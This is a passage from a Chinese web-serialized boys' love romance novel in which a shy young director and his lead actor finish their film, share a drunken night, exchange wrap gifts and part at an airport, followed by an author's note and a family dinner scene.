席追不确定闻潮声酒醒后还会记得多少,只是很有分寸感地拒绝,“不行。” “唔。” 闻潮声松开了他的衣角,嘴角往下撇了撇,似乎是很遗憾, “为什么、不行?” “就是不行,你这是喝醉酒耍无赖。” 席追将手里的黑框眼镜搁到洗手台上,这才轻巧扣住他的下颚,是叮嘱, 也是命令。 “闻潮声,要么你自己乖乖进淋浴间冲个澡,要么现在简单洗漱就上床睡觉,听明白了没有?” “不行就不行,小气。” 闻潮声使起少有的小性子,偏头挣开席追的拿捏, 他顶着一头小卷毛进了淋浴间, 似乎是还沉浸在“被拒绝”的失望中。 “……” 席追被他的嘟囔和背影可爱得一愣,含笑追问,“那就不锁浴室门了,我在外面等你?” 闻潮声还是没理他, 很有力气地关上淋浴隔门,然后自顾自地开始脱衣服。 浴室的隔门玻璃是磨砂质地,从外往里看不真切,只能模糊地透出里面闻潮声的身形轮廓,即便如此,席追还是能隐约窥见他的肤色,白得有些晃眼。 很快地,淋浴声传了出来。 席追忘了及时离开,盯着磨砂玻璃的视线随着闻潮声的动作微妙游移,思绪不知不觉飘散开来。 不知怎么,他的脑海中居然浮现出对方全身被热意染红、水珠遍布的模样。 “……” 但很快地,席追就意识到自己不对劲的念头,他眉眼略过一丝懊恼,迅速转身离开浴室。 浴室的门虚掩关上,隔绝了一切暧昧的流出。 席追的余光瞥见吧台上的矿泉水,突然觉得有点干渴,他走近拧开瓶盖,仰头猛灌了两口。 凉水顺着喉咙一路下肚,勉强压制了那点不着调的荒唐。 席追倚靠在茶水吧台的边缘,试图平复自己莫名急促的呼吸,但浴室里的淋浴声还在继续,像是密集的鼓点持续敲打着心弦。 越是刻意想要恢复冷静,他的脑海中就越是掠过回国后的一幕幕—— 亲戚订婚宴上,闻潮声小心翼翼的目光窥探。 宴厅休息室前,闻潮声鼓足勇气的那句“好久不见”。 酒店套房里,对方抱着书包板正坐着的模样、被半瓶啤酒撂倒的乖乖睡姿,以及他满怀真诚和期待递上来的剧本、发出的试镜邀请。 以及来到甘南之后的意外同住,在他第一晚出现高原反应时、闻潮声揉按太阳穴的指尖力度、身上散发的浅淡香味。 再到两个人因为剧本吵架、和好、磨合、拍戏,甚至是下戏后的策马疾驰。 这一帧帧的画面在席追脑海中不断闪现,甚至清晰到了每一个细节。 “……” 朋友? 这真的是用朋友就能概括的相处模式? 席追握着矿泉水瓶的手隐隐用力,瞳孔深处浮动一丝自我怀疑和探究。 比起闻潮声,他和沈照野、夏逢一认识的时间显然更长,三人同样是以“朋友”的身份相处了近二十年。 但席追从来不会这两人产生这些不该有的纷乱念头,怎么独独对上闻潮声就变了味? 这不对劲,这很不对劲。 席追不是掩耳盗铃的傻子,不会用任何蹩脚的理由去粉饰自己越界的行为,他忽地就意识到了自己近日来出现的那些醋意、欲念到底意味着什么? 他对闻潮声,动心了。 这份感情已经超过了朋友该有的界限和范畴,迅猛到让他才发现就已经没了退路。 ——哐当! 浴室里突然传来一声闷响。 潜意识里的担忧大于理智的思考,席追骤然回过神,以最快的速度推开虚掩的浴室门,“闻潮声?你怎么……” 急切的询问没来得及出口,就卡在了喉咙中。 水汽氤氲的浴室中,闻潮声已经从淋浴间里走了出来,光着脚踩在湿滑的地板上。 他身上的浴巾才裹了一半,似遮非遮,露在外面的皮肤湿漉漉的,透着被热水蕴出若隐若现的粉色光泽。 大约是被突然的撞门声惊到,闻潮声本就发懵的眼神里多添了一丝慌乱。 席追没想到开门迎接的会是这么一副场景,体内才压下去的燥热再度攀升,“你、你怎么回事?是摔了?还是磕碰到了?” “……” 闻潮声眨了眨眼,说不出个所以然来,反倒是裹在身上的浴袍有了滑落的迹象。 席追知道闻潮声还醉着,没打算从这人的口中得到答案,而是第一时间去衣柜里拿出了自己干净的浴袍。 他返身进入浴室,不由分说地将闻潮声围了严严实实,还将腰间的浴袍带子用力系紧。 短短几秒,就遮挡住了全部的春光。 “跟我出来。” “……” 闻潮声刚冲完热水澡,醉意游走着晕晕乎乎,本来就快分不清东南西北了。 席追一手牵着他,一手拿着吹风机,“坐在这里,把闭眼睛闭上,我给你吹干头发再睡。” 闻潮声像团棉花任由拿捏,乖乖在床边坐好,然后又听话闭上眼。 吹风机里的热气散了出来。 席追从来没有照顾“酒鬼”的经验,只好尽可能地放轻自己手上的力气,他回忆着闻潮声上回按摩头部的动作,指腹蹭过细软的卷毛,一点点地摩挲着头皮。 酥酥麻麻的感觉升起。 闻潮声明明闭着眼睛,但还是舒服地哼哼了两声,活像是一只被顺毛的猫。 席追瞧见闻潮声的反应,渐渐生出一种异样的满足感,全然没有一点儿要照顾人的麻烦和不悦。 头发干得很快,只是在一通抓揉后有点乱。 席追掀开一边的被子,“好了,睡觉。” 闻潮声却没急着进被窝,而是顺从本能抓住了眼前人的手腕,“你呢?你要去哪里呀?” “……” 掌心传来的温度让席追微微一怔。 他看着醉眼朦胧的闻潮声,突然有一瞬间的后悔,后悔刚刚拒绝了对方一块洗澡的请求。 席追没有抽离自己的手,只是俯下身交代,“我去冲个澡,收拾完就回来,你要困了就先睡,好吗?” 闻潮声放心下来,软乎乎地晃了一下他的手腕,“好吧,那你要快点。” “……” 这人,喝了酒就可以肆无忌惮地撒娇了? 席追呼吸一紧,本来就没整理完的心绪更乱了,只好扭过头、大跨步地走向了浴室。 啪嗒! 浴室的门用力合上! 闻潮声这会儿仗着酒劲还很精神,确认四周没有任何危险后,他也不胡闹晃荡,只坐在床边,眼巴巴地盯着浴室的方向。 淋浴声响起,隔着一堵墙都能感受到水流迅猛的攻势。 闻潮声只觉得自己等了很久很久,久到眼皮都快睁不开了,才听到了一声轻微的开门动静。 席追走了出来,只在腰上裹了一条浴巾,还拿着一条干毛巾擦头发。 平日里藏在衣服里的肌肉线条总算显露了出来,不夸张,却很有料,是属于他这个年纪该有流畅的美感。 闻潮声目不转睛地盯着,一点儿不带平日里该有的羞涩,“啊……” “……” 席追没想到闻潮声还醒着,有些意外地顿住了擦拭的动作。 他并不排斥对方停留在腹肌上的欣赏视线,反倒是在一阵冷水淋浴过后重新找回了掌控权。 席追走近,“闻导,看什么呢?当导演的,可以这么光明正大盯着男主角的腹肌吗?” 闻潮声被这声“导演”唤回了一丝理智,定住的小眼神开始心虚乱瞟,“我在等你。” 席追拿起一旁沙发上的睡衣,“不许看了,要收费的。” “哦。” 闻潮声已经看过了,很满意,不给钱。 他迅速缩回到被窝里,将自己毛茸茸地裹成一团。 席追将自己收拾清爽,换上了睡衣,也躺进了被窝里,他一侧身,就对上了还醒着的闻潮声。 四目相对,席追拿眼前人是真没办法了,“还不困吗?你这是醒酒了?还是持续醉着?” 两三杯啤酒的量,应该还是很好代谢的。 闻潮声也不清楚自己现在是什么情况,他不回答,而是想到什么就问什么,“杀青礼物,什么时候可以给我呢?” “……” 看起来是清醒了一些,但也没完全醒透。 席追凝望着尽在咫尺的温软面容,眉间的冷峻在不知不觉间化成了独有的温柔,“回了帝京还有五六场戏要拍,拍完了会给你的,好吗?” 闻潮声勉强接受了这个答案,“好吧,那你不要忘记了。” “不会忘记的。” 或许是明确了自己的心意,席追不由多了点试探的念头,他主动抚上了对方的后颈,指腹不轻不重地摩挲着。 “闻潮声,不困的话,我们聊聊天?你还有没有想问我的?” “……” “今晚只要你敢问,我都告诉你,你想做什么,我也可以顺着你。” 很诱人的一段话。 如同一粒石子投向了心湖,泛起了层层涟漪。 闻潮声本来都已经有点困了,这下子又很努力地撑着眼皮,“你、你现在不要喊我全名。” “那想让我喊你什么?”席追引导着问他,一声声地问,“潮声?还是哥哥?” 闻潮声蹭了蹭柔软的被子,“我比你大呢,嗯……你要喊我,哥哥。” 席追笑了声,“好,哥哥。” 闻潮声如愿听见这个称呼,没了平时的羞涩,而是心满意足地傻笑了两声。 席追还在不疾不徐地揉搓着他的后颈,悄无声息地引导话题,“你没什么其他要问的了?既然如此,那我问你吧。” 后颈传来的触感酥酥麻麻的,闻潮声舒服得想要眯眼,“唔?” 席追明知故问,“哥哥,谈过恋爱吗?” 闻潮声把头摇成了拨浪鼓。 席追勾起嘴角,点他,“那你知道,我谈没谈过恋爱吗?” “……” 闻潮声对上这道明示,恍惚了好几秒。 他借着酒意挥发时的那点勇气,磕磕绊绊地反问,“席追,你有喜欢的女孩子了吗?谈、谈过恋爱吗?” “没有。” 席追回答得干脆利落,又问,“而且,为什么我喜欢的一定要是女孩子?” 闻潮声的脑子已经转不过弯了,“那、那你喜欢什么样的?” 席追目光灼灼地看着他,声线里带着一丝蛊惑,“我喜欢呆的。” “……” 什么?呆的? 困意最终还是没过闻潮声仅剩的一丝清明,他来不及研究这话里暗藏的深意,连同说“晚安”的力气都没了。 关键时刻宕机了。 席追无奈地叹了口气,他并不明显地掀掉了自己的被子,趁着闻潮声意识混沌,主动往对方的被窝里一钻。 “哥哥,我被子掉了,有点冷。” “……” 闻潮声默许了这份亲昵的贴近和怀抱,只是习惯性地往被子里缩了缩,透着一股让人心安的温顺。 席追的嘴角不自觉地上扬,“晚安,做个好梦。” … 闻潮声这一觉睡得很沉,或许是酒精的副作用作祟,他的梦里居然还出现了一些难以言喻的缱绻画面。 直至悠悠醒来,那种暧昧和心悸的余韵还在不断冲击着他的思绪 开门的动静响了起来。 席追提着打包好的午餐进屋,就看见了在床上发呆的闻潮声。 “……” “……” 两人的视线隔空相撞,闻潮声的表情还是懵懵的。 席追将食物放在一旁的小桌上,“这是醒了还是没醒?还醉着?” “没。” 闻潮声开口,发现自己的嗓音又干又哑。 席追提早备好了柠檬水,递给他,“润润嗓,可以解酒,头疼吗?” 闻潮声摇了摇头,“不疼,就是有点晕。” “醉了酒,睡多了是这样的。” 席追观察着正在乖乖喝水的闻潮声,对方的脸上丝毫没有醉酒“胡闹”后的紧张和局促。 “昨晚的事情还记得多少?” “嗯?” 闻潮声捧着水杯,试着认真复盘,“我喝了三杯不到的啤酒?” “然后呢?” “有点晕,想休息,但是找不到房卡。” “嗯,还有呢?” “跟着你回来了?”闻潮声努力回忆,不太确定地问,“我是回来后就睡到了现在吗?” “……” 好的。 被三杯啤酒“干”倒就算了,还断片得很彻底。 席追也不补充他的复盘,只是提醒,“你要不看看身上穿了什么?” 闻潮声愣了一下,这才注意到自己居然穿着席追的浴袍。 这会儿,两片式的领口因为长时间的睡觉而松垮着滑落,除此之外,浴袍底下空无一物。 滋嗤! 闻潮声感觉此刻的自己像是变成了烧开的电水壶,身体各处的热气瞬间汇集,直冲头顶。 他涨红了一张脸,因为过于尴尬而攥紧了被子,“我……我怎么……你……” 席追如愿瞧见眼前人的害羞反应,忍俊不禁,“慌什么?你自己洗的澡,我的浴袍是干净的,只是看你醉了酒,图方便给你换上。” 穿浴袍,总比帮着穿贴身衣物要好。 闻潮声还是心慌意乱,越发不确定了,“席追,我、我没发酒疯捣乱吧?” 他是真的没料到自己的酒量那么差,之前又没有喝醉酒的经历,所以也不知道自己酒后会做什么。 眼下大脑一片空白,实在是想不起来了。 席追撒了个小谎,“没有,洗完澡就睡觉了。” 这样也好,以闻潮声的性子要是清醒后还记得昨晚的那些事,估计就要彻底缩到“乌龟壳”里面去了。 至于昨晚后来发生了什么? 他一个人独家珍藏记忆,也不错。 席追转移话题,“去洗漱一下?打包的午饭得趁热吃。” “好的。” 闻潮声抓紧时间收拾了一番,出了浴室。 席追已经将打包好的午餐摆在了小桌子上,三菜一汤,还冒着热气。 闻潮声靠近坐下,“好多,你吃过了吗?” “嗯,吃过了,但我拿了两双筷子。”席追将筷子递了过去,像是知道他在担心什么,“你先吃,吃不完我可以扫尾,不会浪费。” 闻潮声嘴角微扬,余光忽地注意到了席追的嘴唇,“嗯?” 席追一顿,“怎么了?” 闻潮声隔空指了指他上唇的某处,关心,“你嘴唇这块怎么了?看着有点红、还有点肿?” 面对这声近乎单纯的询问,席追维持着一贯平静的面色,“是吗?估计是上火了吧,快吃吧,吃完还要收拾行李。” 他们是晚上十点的飞机回帝京,待会儿还得坐几个小时的车先去机场。 闻潮声不疑有他,低头认真干饭 席追端起边上的水杯,缓慢地喝了几口,落在杯壁的指腹借机轻蹭了一下唇上的那点异样。 终究是什么都没有说。 …… 回到帝京,闻潮声在内的主创团队只休息了一周,就马不停蹄地就开启了新一轮的拍摄。 要拍摄的剩余剧情不多,全部围绕男主角展开,剧组按照时间线—— 先是拍摄了唐遇在毕业设计方面屡屡受挫的困境,紧接着拍摄了他从甘南回来后,因为想着央金而设计灵感爆发、最后完美展出毕业泥雕作品等情节。 不得不承认,席追在表演方面确实有些天赋,哪怕之前不是科班出身,但他还是轻易演出了“唐遇”前后的状态差别。 主演给力,拍摄进度自然跟着顺畅。 “好!过了!” 随着最后一声确认,偌大的美术展馆里响起了众人此起彼伏的欢呼声,“杀青咯!” 闻潮声第一时间放下监视耳麦,拿起了监视桌底下早已经准备好的花束,朝着自己的电影男主走了过去,“席追。” 他将精心准备的杀青花束递了上去,“杀青快乐,这段时间辛苦了。” 席追垂眸,有些意外地挑了挑眉,“黄玫瑰?” “嗯。” 闻潮声心尖凝上一丝紧张,“你……不喜欢?” 这品种叫契机,是他昨天亲自去花市挑选的,保管每一朵的品相都是最饱满的。 席追伸手接过,“没有,很喜欢,这是我人生中第一束杀青花束,谢谢闻导。” 话音刚落,林可漾就从后面走了上来,“导演,别光顾着给我们男主角杀青花束啊,你自己的也记得拿。” 她将另外一束绿色为主的花束递了上来。 闻潮声愣了愣,“我也有?” 林可漾说,“当然了,剧组顺利杀青,导演和演员肯定要有同样的待遇。” 她将花塞到了闻潮声的怀中,却饶有深意地对准了席追,“我本来就是想要预定两束的,结果我们小闻导非要自掏腰包、亲自给你这位男主角选花。” 她又对着闻潮声眨眼打趣,“导演真好,到最后了还不忘给我们剧组省经费。” “……” 闻潮声没料到林可漾会挑破这件事,哑然。 但对方偏偏还不停歇,“哇哦,还是黄玫瑰呢,这花语代表什么来着?” 闻潮声生怕别旁人发现那点小心思,破天荒地抢答,“友情,没别的了。” 林可漾问,“哼哼,是吗?” 席追笑着将手中的花束捧得紧了些,替闻潮声开脱,“导演最大,导演说是就是。” 孙选换好相机走了上来,“席追,拍个杀青照。” “好。” 席追很配合地单独拍一张,随即看向闻潮声,“我再和导演拍一张?” 孙选欣然应允,“OK!” 闻潮声一听这话就想要跑。 他不爱照相,更害怕僵硬的假笑和摆拍,拍摄期间的工作照基本都是孙选偷摸抓拍的。 席追眼疾手快地拢住了闻潮声的肩膀,不给他任何躲藏的机会。 闻潮声逃跑失败,丧着一张脸,“我不拍,我不上相的,算了吧。” 不料,席追偏头贴近了他的耳畔,比起劝说,更像是在蛊惑,“这是我们第一次的合照,你难道不想要吗?” “……” 第一张合照? 他们认识到现在,确实还没拍过一张正儿八经的合照呢。 闻潮声心弦一动,霎时打消了逃避的念头。 席追拍了拍他的肩膀,轻声鼓励,“放松点,只是拍照,我们可以不发出去,只是自留当纪念。” 闻潮声小幅度地点了点头,僵直的身体逐渐放松下来,双手捧进了怀中的鲜花。 两个人贴得很近。 近到能感受到彼此的心跳和呼吸,周围的一切仿佛都按下了暂停键。 闻潮声感受着席追搭在肩膀的力度,终于直视着镜头,露出了一抹腼腆的笑。 孙选找好的角度,“三、二、一!” 咔嚓! 双人照片瞬间定格。 属于他们人生中共同合作的第一部电影,正式杀青。 … 剧组在帝京也办了一场小型的杀青宴,临近十点才散了场。 身为主演的席追今晚被灌了不少酒,这会儿太阳穴有些发胀,好在他预判了自己的情况,提前喊来了自家的司机代驾。 砰!后排的车门关上。 席追看了一眼坐在身边的闻潮声,提醒前排司机,“林叔,打开车载导航的置顶地址,先送我朋友回家。” 司机应声,“好的,少爷。” 直到车子发动,席追才按下了隔板键。 隐藏的隔板缓缓升起,片刻之间,就将前后两排划分成互不打扰的空间。 席追侧过头,看向身边人。 闻潮声从上车就没说过话,这会儿正安静地注视着车窗外的夜景,怀中还揣着到哪儿都不会丢下的工作背包,侧脸显得又乖又呆。 席追主动打破了这层沉默,“怎么不说话?今晚不是没喝酒吗?” 吸取了上次醉酒断片的教训,闻潮声今晚一滴酒都不肯沾上,直到散场还保持着绝对的清醒。 他回过视线,如实交代,“我有点恍惚,没想到真的能顺利拍完《轮廓》。” 在确定要正式立项开拍前,闻潮声曾经有过许许多多的担忧—— 他这样社恐的性子该怎么指挥调度一大堆工作人员?男主角要找谁?各大配角又该找谁? 如果在片场出现问题了该怎么办?自己能担任好“导演”这一身份吗? 如今,一切担心都可以落地消散了。 这段时间,他遇到了很负责任的导师、遇到了很有凝结力的主创团队、遇到了很棒的演员老师们,也遇到了做梦都想要的那个男主角。 从小扎根在心里的导演梦,在甘南、在帝京,终于一点点地转变为了现实。 哪怕未来还要面对很多全新的挑战,但这已经开了一个最好的头。 闻潮声心中感慨万千,忍不住再次重复,“席追,谢谢你出演我的电影。” “不客气。” 席追收下他发自真心的感谢,予以回应,“对我来说,这也是一次很新奇的尝试。” 他也是在拍摄过程中才发现,自己居然意外地喜欢在镜头前塑造角色的感觉。 后排只有他们。 闻潮声在这样的安全空间里还算放松,随口问,“你打算什么时候回德国?” 席追眼色微晃,报出一个意料之外的答案,“明天下午四点的飞机。” “……” 闻潮声怔然,嘴角的那抹淡笑跟着凝固。 在确认不是自己的幻听后,他的情绪顷刻间掉落了下来,“明天?你怎么不早点告诉我?” 席追捕捉到了他极力掩饰的无措,解释,“不是故意瞒着你,确实是很临时的决定。” “还记得上次和你提过的那个金融项目吗?有新课题了,导师特意喊我提前一周回去。” 席追原本计划最迟要在二十号之前返校,这不,计划赶不上变化—— 他前天才接到了导师的通知,对方希望他提前返校进入项目筹备。 在确认剧组能准时杀青后,直到今天早上,他才着手预定了返程的飞机票。 席追从没想过要隐瞒,本来就打算要在今晚告诉闻潮声,只是此刻,他感受到对方明显低下去的情绪,突然有些说不上来的懊恼。 “抱歉,我应该早点告诉你。” “没关系,这又不是你的问题。” 闻潮声垂眸回应,压下心底那点说不清、道不明的酸涩,“我只是觉得太突然了。” 他知道席追在德国还有未完成的学业,这个假期结束后,他们两人就是要分开的。 只是没想到,离别总是这么猝不及防。 小时候,闻潮声临时接到了父母返回海市的通知,在夏令营结束后,来不及和席追好好告别。 如今又要经历这么一轮毫无预兆的告别,这次又要多久见不到了呢?席追毕业后,会直接留在德国工作吗? “……” 闻潮声没有答案,也不敢贸然追问。 他不想让自己显得太异样,尝试找话题,“你好不容易回国一趟,结果大部分的时间都用来拍戏了,席爷爷他们会不会念叨你?” 席追说,“还好,家里的几位老人,我抽空都已经陪过了。” “他们都知道我的性格,就算不忙进组拍摄的事,我也不可能一直闲在家里不出门。” 闻潮声点了点头,终究还是当起了哑巴。 刚杀青后的那点喜悦,在得知这份即将到来的离别后,荡然无存。 席追察觉出他的情绪,不着痕迹地叹了口气,“不开心了?” 他打开一旁的车载储物柜,从里面拿出一个袋子递了过去,“现在给你礼物的话,能不能稍微开心一点?” 闻潮声看着出现在眼前的黑色袋子,凝固的思绪动了动,“这是……杀青礼物?” “对,之前答应过,要在正式杀青这天给你的。” 席追用眼神示意他打开,哄道,“闻导,给个面子,打开看看?” “嗯。” 闻潮声将有点重量的礼品袋搁在膝盖上,解开了精心封口的白色礼绳,他带着积攒许久的期待,从里面拿出了真正属于他的杀青礼物。 车顶的照明灯被席追打开,明亮的灯光瞬间驱散了车内的昏暗,也让闻潮声看清了手中的礼物—— 是一个四四方方的透明展示盒,里面摆放着一个栩栩如生的泥塑小人。 小人顶着一头标志性的小卷毛,戴着一副粗框眼镜,旁边还点缀着一个摄像机的橡塑装饰。 闻潮声眸光闪烁,似乎是不敢相信,“这是……” “看不出来吗?”席追拿过展示盒,举高和他的容貌做对比,“我一个新手,能做成这样的相似度也不容易了吧?” 不说和闻潮声百分百的一致,但至少能有六七分的相似度? 闻潮声惊讶不已,“这是你亲自做的?什么时候做的?” 席追将泥塑小人递回去给他,“我在甘南的时候就联系了帝京这边的工作室,回来开拍前的一周,我就在做这个,生怕赶不上。” 在此之前,席追没有任何泥雕的经验。 要知道,这小人的尺寸对五官比例的塑造要求更严苛,席追失败了许多次,光是复刻闻潮声的脸型就推翻揉捏了好几回。 做到最后,连工作室的指导老师都快看不下去了,几次提出可以上手帮忙,但都被他婉拒了。 对席追来说,只有亲手做的,才有意义。 他没有复述过程的辛苦,只说,“幸好,在今天赶上了。” 闻潮声端详着展示盒中的“自己”,心尖泛起微妙的感动,“你怎么想着给我做这个?” “你说过,唐遇这个角色是因为我而诞生的。” “……” 闻潮声心绪波动,隐隐窥得了这份礼物里的特殊含义。 席追暗中观察着他的神色变动,“如果电影里的泥塑作品,是唐遇和央金的连接,那我送你的这份,就当是你我之间的另一种形式的连接。” “闻潮声,我也很荣幸,成为你人生中第一部电影的男主角。” “……” 闻潮声大脑轰地一下空白,似乎有什么从心底呼之欲出,那份融在他笔下的、刻进角色深处的感情,在这一刻,突然就得到了最响亮的回应。 ——席追,唐遇这个角色,是因为你才诞生的,你就是这个电影唯一的男主角。 ——闻潮声,我很荣幸,成为你人生中第一部电影的男主角。 眼眶隐隐有些泛酸。 闻潮声深吸一口气,极力找回自己的声音,“谢谢,我很喜欢。” 或许,对方只是借着角色的身份,来赠予他一份算得上有意义的礼物? 哪怕只是这样,也已经很好了。 “……” 席追得到这声答复,不算意外地笑了笑,“喜欢就好。” 因为得到了这份特别的、专属的杀青礼物,闻潮声沉闷的情绪终于有所好转。 车子驶入熟悉的片区,没一会儿,就停了下来。 前排司机的声音传来,“到了。” 闻潮声很珍视地将这份礼物装进自己的背包里,也不忘拿起边上的杀青花束,他打开车门,却没急着下车。 “席追,我明天可以去机场送你吗?”闻潮声酝酿了几秒勇气,“我不想今晚就和你说再见。” 席追对上他眸底的温软渴求,根本舍不得拒绝,“可以,明天见。” “明天见,晚安?” “晚安。” 直到确认闻潮声进了闻家所在的别墅大门,席追才让司机重新发动车子。 车顶的灯光熄灭,昏暗再次笼罩了席追,唯有身旁的那束黄玫瑰依旧明艳。他伸出指尖拨弄了一下玫瑰花瓣,眸光微晃。 刚刚有那么一刻,席追想要借着送泥塑礼物的契机,彻底表明自己的心意,但是话到嘴边,终究还是被理智所压制了。 因为学业而导致的异国距离,是摆在眼前的事实。 在未来还不确定的情况下,贸然去开展一段追求、甚至是一段感情,这样只会是对彼此的不负责任。 与其在时间紧迫的情况下,凭一时冲动草率行事,不如再为彼此留出一些成长和确认的空间。 来日方长,好在未来也不算遥远—— 次日,安检外人潮涌动。 机场大厅的智能播报一轮接这一轮:“尊敬的旅客朋友们,您好!这里是帝京国际机场……” 早在半个月前,闻氏夫妇就已经飞回了德国,席追今早也和家中的长辈亲戚们一一告别,特意嘱咐大家不要来送机。 这会儿陪在身边的人,只留下了闻潮声一个。 席追早已经办理完了行李托运,他看着所剩不多的时间,终究是开了口,“差不多了,我得进去了。” “等等!”闻潮声从背包里拿出一个相框,“这个给你,带上吧?” 席追看着递到手上的实木相框,里面是属于他们的杀青双人合照,“你特意打印出来了?” “嗯。” 闻潮声一大早问孙选要到了照片,特意跑到实体店去购买相框、打印,他想着实物应该会更有纪念意义。 席追的指腹状似不经意地抚过照片上的闻潮声,笑了,“这不是挺上相的?” 闻潮声没注意到这个小细节,嗡声,“那还是你比较好看。” 他停顿了几秒,很想要再抓紧最后的时间说些什么,但嗓子眼像是被离别的愁绪给堵住了。 “……” 席追将相册装进自己的随身背包里,实在不想看见这人满面愁容,“闻潮声,你靠近点。” “怎么了?” 闻潮声不理解,但照做。 眨眼间,他就被席追轻巧一拉,跌入了温暖的怀抱中。 “啊。” 闻潮声下意识地发出一声轻叹,不敢动弹。 “回国的第一个拥抱,是你送我的。”席追揉了一下他毛茸茸的后脑勺,贴在他的耳畔,“出国前的最后一个拥抱,我送给你。” “……” 闻潮声没说话,却悄悄红了耳根。 安检这片区人来人往。 席追深知闻潮声羞涩内敛的个性,担心他会感到不自在,这个拥抱只持续了这一句话就松开了。 但闻潮声还有些舍不得,目光一个劲地留在眼前人的身上,“你到了之后,可以给我发条短信吗?简单报个平安就行。” 席追无奈,“别这么看我。” 再这么看下去,真要舍不得走。 席追强迫自己收起那点心思,尽量以朋友的口吻,“落地了会给你报平安,这次加了微信,以后我们可以随时联系。” “好的。” 闻潮声乖乖点头,不敢再耽误他的时间,“你去过安检了吧,等你进去了我再走。” “……” 席追看着眼前根本没打算挪动步伐、而是想要目送他过安检的人,一忍再忍,最终还是失了点分寸。 他抬手扣住了闻潮声的后颈,俯身凑近,“要不买张机票,跟我一起飞德国?” 两人的鼻尖似有若无地蹭了蹭,霎那间,像是要吻了上去。 闻潮声的呼吸猛地一滞,后颈被摩挲的地方急速腾烧起了一片火,他根本没想着要反抗这份亲密,反而顺从地微微仰头。 那双藏在镜片下的眼眸睁得大大的,似乎已经忘了周围随时都会有旅客看过来,只是一个劲地看着尽在咫尺的席追。 “不能的吧,我、我还没办签证呢。” “……” 呆龟。 怎么说什么都不反对? 席追很想要再抱抱闻潮声,却又不好在大庭广众下失了分寸,他深吸一口气,用彼此才能听见的音量,“哥哥,我会想你的。” 温热的呼吸缠了又绕。 闻潮声被蛊得心脏都快跳出来了,大脑一片空白,“嗯?” 席追摩挲着他后颈的那颗痣,那双深邃的瞳孔里是不带玩笑的认真,“所以,你也要记得想我。”—— 作者有话说:翻译一下:虽然还没在一起,但是我会想老婆的,所以老婆也要想我!—— 感谢小可爱们支持正版!V后也请多多评论支持啦!本章发30枚红包哦!(明天也是0点更新) 第23章 【第023章·旧暧昧】 “你今晚住我…… 眨眼间, 又是一轮年关将至。 闻春申和宋雪兰今年难得没有电影项目,留在帝京过年,佣人阿姨已经放年假回去了, 夫妇两人齐心协力忙活了一顿晚餐。 闻春申端起鸡汤, 靠近餐桌,“儿子呢?” “把自己关在房间里一下午,闷头修剧本呢。” 宋雪兰抬了抬头, 对着二楼的卧室方向示意,“听说这段时间正在和朋友们拉投资,年后就准备拍了。” 闻春申笑了声,“这小子,又要自编自导?” “是呢。” 宋雪兰满眼骄傲, “咱们儿子青出于蓝而胜于蓝,一个人就能干我们两个人的活儿。” 今年六月,闻潮声顺利从帝京影视学院毕业。 他去年拍摄的原创文艺短片《轮廓》,拿了不少电影节的提名和入围, 被业内称为最有潜力的新人导演,算是狠狠刷了一波存在感。 闻春申近来听到了不少同行老友对闻潮声的夸赞,说不骄傲是假的。 但他不擅长表达对儿子的肯定和爱意,只对着妻子说,“你喊他下来吃饭吧,身体要紧。” 宋雪兰深知这对父子的相处模式, 扬声喊, “声声,下来吃饭了。” … 三分钟后,闻潮声顶着一头乱糟糟的卷毛、穿着睡衣就坐在了餐桌上。 宋雪兰主动给他打了一碗鸡汤,“来, 先暖暖胃,最近修改剧本辛苦了吧?” “谢谢妈妈。” 闻潮声舀了两口鲜美的鸡汤下肚,“还好,已经快修完了,这两天就能出最终版本。” 闻春申拿湿巾擦了擦手,主动给妻儿剥虾,“新剧本是什么题材的?叫什么?” 面对名导父亲的提问,闻潮声隐隐有些紧张“叫《花月》,也是短片,主角叫白月,是位在乱世中谋生存的普通人……” 他将剧本内容大致讲了一遍,忐忑地等待着父母的点评。 宋雪兰是专业编剧,率先出声鼓励,“挺好的,这个故事的立意不错,电影筹备得怎么样了?拉到投资款了吗?” “可漾姐还在洽谈,估计年后会有结果。” 闻潮声改变不了社恐属性,对于这样的社交实在缺乏自信。 林可漾比他早一届毕业,做的也是影视投资相关的工作,于是主动应下了这份差事。 闻春申和宋雪兰对视了一眼。 为了表达对儿子的关心和支持,闻春申难得主动询问,“小声,需不需要爸爸出面,找业内资方给你牵个线、搭个桥?” 宋雪兰也跟腔,“或者,爸爸妈妈直接给你这部电影出资?” 以他们的资源和人脉来说,这简直就是手到擒来的一件小事。 闻潮声听见这些话,顿时放下碗筷,一点儿不带犹豫地拒绝,“不要,你们不要插手我的剧本和电影项目。” “……” “……” 夫妻两人双双没了话。 自己养大的儿子,自己最了解。 闻潮声看起来温和好说话,但他一直有自己的做事标准和底线,绝不会在旁人的劝说下轻易动摇。 闻潮声察觉到自己的拒绝有些直白,软了态度,“爸、妈,对不起,我没有别的意思。” “我只是想靠我自己、和志同道合的朋友们做出好的电影作品。” “我知道你们能带给我的资源、人脉和团队,会让我在这条路走得很顺畅,但这不是我想要的。” 其实,有人在知道闻潮声的父母是闻春申和宋雪兰后,就已经出现一些不礼貌的非议,那些好事者言之凿凿—— 认定闻潮声根本没有硬实力,“新锐导演”的头衔不过是靠着家世背景吹出来的,《轮廓》的入围提名更是靠一对好父母、走后门! 总而言之,全盘否定了闻潮声的付出和努力。 闻春申入行这么多年,听过的胡言乱语自然不比闻潮声要少,他明白儿子藏在骨子里的傲气和坚持,以过来人的身份劝道: “小声,你有你自己的坚持,这是好事。但你是我们的儿子,你有权利、有资格享受我们所带来的一切,这并不可耻。” 红眼病在哪里都避免不了。 哪怕闻潮声不依靠他们、凭着自己的实力闯出一片天,将来背地里还是有人会质疑、会嫉妒、会编排,这就是人心。 宋雪兰微微颔首,也赞同丈夫的话,“是啊,我和你爸奋斗了这么些年,不就是为了你?” 她明白闻潮声高敏感的性格,出声安慰,“宝宝,各别网友、业内说话难听,你不用放在心上,做自己就好。” 当然,他们夫妻只是想要提供资金、资源上的支持,并不代表他们真的会去“买通”电影节的评委组、给闻潮声花钱买奖项。 这些有违行业良性发展的事,他们不会做。 闻潮声当然明白父母的关心和好意,可还是坚持直接的想法,“爸,妈,谢谢你们,但我还是想要靠自己试试。” 他还年轻,有试错的资本。 只要是靠自己的努力拍摄的作品、得到的荣誉,那他就无所谓旁人的非议,问心无愧。 闻春申没有勉强闻潮声,反倒认可地拍了拍他的肩膀,“也好,那就按照你自己的想法去尝试吧。” “谢谢爸爸。”闻潮声扬起一丝笑容,也不忘对宋雪兰说,“也谢谢妈妈。” 